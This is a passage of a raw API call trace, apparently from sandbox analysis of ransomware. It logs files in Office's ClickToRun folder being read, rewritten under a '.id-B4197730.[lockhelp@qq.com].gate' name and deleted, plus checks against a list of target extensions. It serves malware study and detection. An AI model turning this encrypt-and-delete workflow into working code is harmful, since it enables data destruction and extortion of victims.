-1 [0319.051] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0319.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0319.052] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11616) returned 1 [0319.052] CloseHandle (hObject=0x350) returned 1 [0319.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0319.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0319.052] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.052] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0319.053] GetLastError () returned 0x0 [0319.053] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0319.180] WriteFile (in: hFile=0x354, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0319.181] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.182] WriteFile (in: hFile=0x354, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fc94*=0x116, lpOverlapped=0x0) returned 1 [0319.182] SetEndOfFile (hFile=0x354) returned 1 [0319.182] CloseHandle (hObject=0x354) returned 1 [0319.182] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.182] SetEndOfFile (hFile=0x350) returned 1 [0319.183] CloseHandle (hObject=0x350) returned 1 [0319.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.183] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0319.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.184] lstrlenW (lpString=".doc") returned 4 [0319.184] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.184] lstrlenW (lpString=".docx") returned 5 [0319.184] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.184] lstrlenW (lpString=".pdf") returned 4 [0319.184] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.184] lstrlenW (lpString=".xls") returned 4 [0319.184] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.184] lstrlenW (lpString=".xlsx") returned 5 [0319.184] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.184] lstrlenW (lpString=".ppt") returned 4 [0319.184] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.184] lstrlenW (lpString=".zip") returned 4 [0319.185] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.185] lstrlenW (lpString=".rar") returned 4 [0319.185] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.185] lstrlenW (lpString=".bz2") returned 4 [0319.185] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.185] lstrlenW (lpString=".7z") returned 3 [0319.185] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.185] lstrlenW (lpString=".dbf") returned 4 [0319.185] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.185] lstrlenW (lpString=".1cd") returned 4 [0319.185] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.185] lstrlenW (lpString=".jpg") returned 4 [0319.185] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.185] lstrlenW (lpString=".doc") returned 4 [0319.185] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.185] lstrlenW (lpString=".docx") returned 5 [0319.185] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.185] lstrlenW (lpString=".pdf") returned 4 [0319.185] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.185] lstrlenW (lpString=".xls") returned 4 [0319.185] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.186] lstrlenW (lpString=".xlsx") returned 5 [0319.186] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.186] lstrlenW (lpString=".ppt") returned 4 [0319.186] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.186] lstrlenW (lpString=".zip") returned 4 [0319.186] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.186] lstrlenW (lpString=".rar") returned 4 [0319.186] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.186] lstrlenW (lpString=".bz2") returned 4 [0319.186] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.186] lstrlenW (lpString=".7z") returned 3 [0319.186] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.186] lstrlenW (lpString=".dbf") returned 4 [0319.186] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.186] lstrlenW (lpString=".1cd") returned 4 [0319.186] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0319.186] lstrlenW (lpString=".jpg") returned 4 [0319.186] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.187] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.187] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0319.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0319.187] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=20672) returned 1 [0319.187] CloseHandle (hObject=0x350) returned 1 [0319.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0319.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0319.187] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.188] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0319.188] GetLastError () returned 0x0 [0319.188] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0x50c0, lpOverlapped=0x0) returned 1 [0319.204] WriteFile (in: hFile=0x354, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fc94*=0x50d0, lpOverlapped=0x0) returned 1 [0319.206] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.206] WriteFile (in: hFile=0x354, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fc94*=0x11c, lpOverlapped=0x0) returned 1 [0319.206] SetEndOfFile (hFile=0x354) returned 1 [0319.206] CloseHandle (hObject=0x354) returned 1 [0319.206] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.206] SetEndOfFile (hFile=0x350) returned 1 [0319.207] CloseHandle (hObject=0x350) returned 1 [0319.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.208] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0319.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.208] lstrlenW (lpString=".doc") returned 4 [0319.208] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.208] lstrlenW (lpString=".docx") returned 5 [0319.208] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.208] lstrlenW (lpString=".pdf") returned 4 [0319.208] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.208] lstrlenW (lpString=".xls") returned 4 [0319.208] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.208] lstrlenW (lpString=".xlsx") returned 5 [0319.208] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.208] lstrlenW (lpString=".ppt") returned 4 [0319.208] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.208] lstrlenW (lpString=".zip") returned 4 [0319.208] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.208] lstrlenW (lpString=".rar") returned 4 [0319.208] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.208] lstrlenW (lpString=".bz2") returned 4 [0319.209] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.209] lstrlenW (lpString=".7z") returned 3 [0319.209] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.209] lstrlenW (lpString=".dbf") returned 4 [0319.209] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.209] lstrlenW (lpString=".1cd") returned 4 [0319.209] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.209] lstrlenW (lpString=".jpg") returned 4 [0319.209] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.209] lstrlenW (lpString=".doc") returned 4 [0319.209] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.209] lstrlenW (lpString=".docx") returned 5 [0319.209] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.209] lstrlenW (lpString=".pdf") returned 4 [0319.209] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.209] lstrlenW (lpString=".xls") returned 4 [0319.209] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.209] lstrlenW (lpString=".xlsx") returned 5 [0319.209] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.209] lstrlenW (lpString=".ppt") returned 4 [0319.210] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.210] lstrlenW (lpString=".zip") returned 4 [0319.210] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.210] lstrlenW (lpString=".rar") returned 4 [0319.210] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.210] lstrlenW (lpString=".bz2") returned 4 [0319.210] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.210] lstrlenW (lpString=".7z") returned 3 [0319.210] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.210] lstrlenW (lpString=".dbf") returned 4 [0319.210] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.210] lstrlenW (lpString=".1cd") returned 4 [0319.210] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0319.210] lstrlenW (lpString=".jpg") returned 4 [0319.210] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.210] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.210] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0319.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0319.211] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=19136) returned 1 [0319.211] CloseHandle (hObject=0x350) returned 1 [0319.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0319.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0319.211] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.211] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0319.211] GetLastError () returned 0x0 [0319.212] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0319.280] WriteFile (in: hFile=0x354, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0319.895] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.895] WriteFile (in: hFile=0x354, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fc94*=0x114, lpOverlapped=0x0) returned 1 [0319.895] SetEndOfFile (hFile=0x354) returned 1 [0319.895] CloseHandle (hObject=0x354) returned 1 [0319.895] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.895] SetEndOfFile (hFile=0x350) returned 1 [0319.896] CloseHandle (hObject=0x350) returned 1 [0319.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.896] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0319.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.897] lstrlenW (lpString=".doc") returned 4 [0319.897] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.897] lstrlenW (lpString=".docx") returned 5 [0319.897] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.897] lstrlenW (lpString=".pdf") returned 4 [0319.897] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.897] lstrlenW (lpString=".xls") returned 4 [0319.897] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.897] lstrlenW (lpString=".xlsx") returned 5 [0319.897] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.897] lstrlenW (lpString=".ppt") returned 4 [0319.897] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.897] lstrlenW (lpString=".zip") returned 4 [0319.897] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.897] lstrlenW (lpString=".rar") returned 4 [0319.897] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.897] lstrlenW (lpString=".bz2") returned 4 [0319.897] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.897] lstrlenW (lpString=".7z") returned 3 [0319.897] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.897] lstrlenW (lpString=".dbf") returned 4 [0319.897] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.897] lstrlenW (lpString=".1cd") returned 4 [0319.897] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.897] lstrlenW (lpString=".jpg") returned 4 [0319.897] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.898] lstrlenW (lpString=".doc") returned 4 [0319.898] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.898] lstrlenW (lpString=".docx") returned 5 [0319.898] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.898] lstrlenW (lpString=".pdf") returned 4 [0319.898] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.898] lstrlenW (lpString=".xls") returned 4 [0319.898] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.898] lstrlenW (lpString=".xlsx") returned 5 [0319.898] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.898] lstrlenW (lpString=".ppt") returned 4 [0319.898] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.898] lstrlenW (lpString=".zip") returned 4 [0319.898] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.898] lstrlenW (lpString=".rar") returned 4 [0319.898] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.898] lstrlenW (lpString=".bz2") returned 4 [0319.898] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.898] lstrlenW (lpString=".7z") returned 3 [0319.898] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.898] lstrlenW (lpString=".dbf") returned 4 [0319.898] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.898] lstrlenW 